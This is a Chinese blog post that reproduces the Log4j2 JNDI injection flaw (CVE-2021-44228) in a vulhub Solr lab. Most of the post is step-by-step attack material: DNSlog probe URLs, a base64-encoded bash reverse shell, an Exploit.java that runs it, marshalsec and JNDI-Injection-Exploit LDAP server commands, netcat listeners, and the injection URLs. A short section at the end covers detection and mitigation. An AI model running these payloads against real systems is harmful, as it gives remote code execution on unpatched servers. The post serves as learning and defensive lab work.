首页 > 系统相关 >log4j2---基于vulhub的log4j2漏洞复现---反弹shell

log4j2---基于vulhub的log4j2漏洞复现---反弹shell

时间:2023-07-28 23:14:20浏览次数:49  
标签:vulhub JNDI 192.168 --- jndi Exploit ldap log4j2

基于vulhub的log4j2漏洞复现---反弹shell

1.方法一

环境准备:

和我上一篇fastjson1.2.24漏洞复现是一样的环境,方法也差别不大

声明:遵纪守法,仅作学习记录用处,部分描述文字源于网络,若侵权联系删除

老演员:

centos8:192.168.59.135 vulhub靶场

win10:192.168.59.130 攻击机

log4j2

log4j2是apache旗下的一个java应用的开源日志库,Java的日志记录工具。

log4j2是在log4j框架的基础上进行了改进,引入了丰富的特性,可控制日志信息输送的目的地为控制台、文件、GUI组件等,应用于业务系统开发、记录程序输入输出日志信息

JNDI:(取自网络,若侵权联系删)

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。

还是讲讲原理吧:

Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行,通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回Class类。

这就为攻击者提供了攻击途径:攻击者可传入一个包含恶意内容的文件:一个恶意的Class文件,包含ldap协议内容(例如:恶意内容${jndi:ldap://localhost:9999/Exploit}恶意内容)。该内容传递到后端被log4j2打印出来,就会触发恶意的代码、命令的加载执行,从而达到攻击的目的。

​ cve编号:CVE-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何可能:恶意代码,加载服务,无限可能。

攻击者可利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行---可反弹shell到指定服务器

开干吧!!!

开启靶场

cd vulhub/log4j/2CVE-2021-44228

docker-compose up -d //开启靶场
docker-compose ps //查看靶场端口

开放的端口:8983

访问:http://192.168.59.135:8983

image-20230728203215165

测试有无注入点:

借助网络工具:http://dnslog.cn/

注入点:/solr/admin/cores?有个参数可传

Get SubDomin:获取子域名

egcn05.dnslog //我的子域名

访问:

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.egcn05.dnslog.cn}

http://靶机IP:靶机开放端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.子域名}

image-20230728203934343

看dnslog.cn,有返回Java版本,可注入(较慢,可刷新或等待)

image-20230728203853593

将下面这个代码进行base64编码:(去网上搜索,有很多都可以进行base64编码的网站)IP替换为靶机IP地址

bash -i >& /dev/tcp/192.168.59.135/7777 0>&1

编码后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}

老规矩,在Java文件夹里写一个Exploit.java,写入下面的代码:

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

javac Exploit.java //编译

生成Exploit.class文件

直接在这个Java文件夹开启http服务:

python -m http.server 4444

然后访问:192.168.59.130:4444

可以看到那个编译好的class文件

然后又到了熟悉的操作!!!

进入marshalsec目录

cmd

mvn clean package -DskipTests //运行

有蓝色success

生成一个target文件夹

cd target

接下来开启ldap侦听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.59.130:4444/#Exploit" 1389

nc(nmap)开启监听:

nc -lvvp 7777 //linux

ncat.exe -lvvp 7777 //win10 要进入包含ncat.exe的文件夹下,然后调出cmd

开始注入!!!!!

http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击机IP:1389/Exploit}

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}

image-20230728211721712

看效果:(前面的404是因为我win10杀了那个class文件,我去重新编译一次就可以访问到了)

image-20230728211746396

image-20230728211840425

重头戏来了:

拿下!!!!!

image-20230728212138677

看到这里,有人想说,你自己点进去的吧?真不是。

image-20230728212919487

关闭靶场!!

docker-compose down

2.方法二

下载jndi-injection-exploit工具

https://gitcode.net/mirrors/sayers522/jndi-injection-exploit

下载完我解压在E盘,切换到jndi-injection-exploit文件夹,cmd出来

mvn clean package -DskipTests //等待环境success

cd target //先备用,后面要用

需要对下面的代码进行base64编码

bash -i >& /dev/tcp/192.168.59.130/8888 0>&1

base64编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

使用:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "上面的base64" -A "攻击机IP地址"

实际:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.59.130"

cd target //备用的,这里用

在target的目录直接放进上面的代码,开始侦听

image-20230728222325910

然后进入ncat的目录,cmd,侦听8888端口

ncat.exe lvvp 8888

接下来到payload:事实上还有其他payload,可自行baidu学习

浏览器直接访问

http://靶机:8983/solr/admin/cores?action=${jndi:ldap://攻击机:1389/Exploit}

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}

结果:

image-20230728221557614

JNDI注入显示结果:

image-20230728222906931

成功反弹shell!拿下!!!!

image-20230728223000145

好了,结束!!!!!!!

3.防范

log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?

  1. 设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。

  2. 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。

  3. 对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等

  4. 升级 Log4j2 至 log4j-2.16.0-rc1 版本官网地址:

    https://github.com/apache/logging-log4j2/releases/tag/log4j-2.16.0-rc1

  5. ​ 添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;

  6. ​ 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为log4j2.formatMsgNoLookups=true;

  7. 设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true;

  8. 建议使用 11.0.1、8u191、7u201、6u211 及以上的高版本 JDK。

:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢

标签:vulhub,JNDI,192.168,---,jndi,Exploit,ldap,log4j2
From: https://www.cnblogs.com/MrNF/p/17589085.html

相关文章

  • 推荐短视频流量掘金付费进群系统源码-私域变现工具
    视频流量掘金付费进群系统源码ThinkPHP框架开发,百分百可搭建!近期爆火的流量掘金,自动化成交进群系统项目详细拆解,演示地址:runruncode.com/thinkphp/19493.html 不知道大家有没有听过,半自动挂机、流量掘金、流量变现、9.9自动进群系统等相关关键词的项目。 最近这套玩法非......
  • 阿里巴巴-浙江大学前沿技术研究中心(AZFT) “互联网智能技术”工程博士项目简介
    阿里巴巴-浙江大学前沿技术研究中心(AZFT)“互联网智能技术”工程博士项目简介......
  • 图计算之 nebula-algorithm——todo,待实践,感觉有大坑
    写在前面:nebula-algorithm目前仅支持NebulaGraphv1.x,不支持NebulaGraphv2.x。 这玩意是不是有大坑啊!我看1.21以下都不支持了。。。  图计算之nebula-algorithm在开始nebula-algorithm介绍之前,先贴一个它的开源地址:https://github.com/vesoft-inc/nebula-algorithm。N......
  • SpringBoot学习---第五篇:动态数据源(多数据源自动切换)
    目录一、应用场景二、准备工作2.1 创建数据表2.2添加依赖2.3生成bean、dao、mapper三、动态数据源3.1 配置文件application.properties3.2动态数据源核心代码3.3 启动类添加注解四、使用方法4.1Controller4.2Service五、测试六、Springboot2.0动态多数据源切换一、应用......
  • Activiti6系列(5)- 核心API
    前言本来想把《疯狂工作流讲义-activiti6.0》这本书里面的实例拿过来,但是这本书我看完后,认为里面编写的activiti6的核心API代码片段不是很清晰,有不少需要雕琢的地方才好形成一篇博客。所以我就把以前看过的黑马activiti5的案例拿过来放到activiti6.0依赖中运行测试,可以正常使用,说......
  • Python-3-Python变量与运算符
    第三章:变量与运算符3-1变量的介绍1.变量只能包含字母、数字、下划线。变量名可以以字母或下划线开头,但绝不是数字开头。2.不能将python关键字作为变量名,常见python关键字有:FalseclassfinallyisreturnTruecontinueforlambdat......
  • 设计模式-桥接模式
    桥接模式(Bridge)模式定义+将抽象部分和实现接口分离,使它们可以独立变化。是一种结构性模式。UML图时序图角色定义抽象类(Abstraction)用于定义抽象类的接口,其中定义了一个Implementation实现类接口的对象,并可以维护该对象,它与Implementation具有关联关系扩充抽象......
  • Python-2-Python数据类型
    第二章:Python数据类型2-1字符串简单介绍'A'+'B'字符串连接输出'AB';'Hello'*3多次连接3次。'Hello'[0]取第一个字符;'Hello'[1]取第二个字符;'Hello'[-1]取最后一个字符;'Hello'[1:3]从e开始取取2个字符el,1+2=3所以是[1:3];'H......
  • Python-1-Python起步
    1-1选择python的理由相对于其它语言,Python容易上手,语法通俗易懂;复杂的概念已经封装好,不需要考虑内存的释放与申请,其它语言上百行代码解决的问题,Python只需要几十行甚至更短的代码。Python设计哲学:优雅、明确、简单//打印print("HelloWorld");//交换xyx,y=y,x 1-2python......
  • [代码随想录]Day03-链表part01
    题目:203.移除链表元素思路:做链表首先最好有个虚拟头指针,这样做删除添加操作的时候可以统一操作否则还得特判。那删除元素的过程,从虚拟头指针开始要做以下几步:如果当前p的next不为空,那么就可以进行判断如果p的next的值是val(↑p的next不为空↑),那么就把p的next修改为p的下......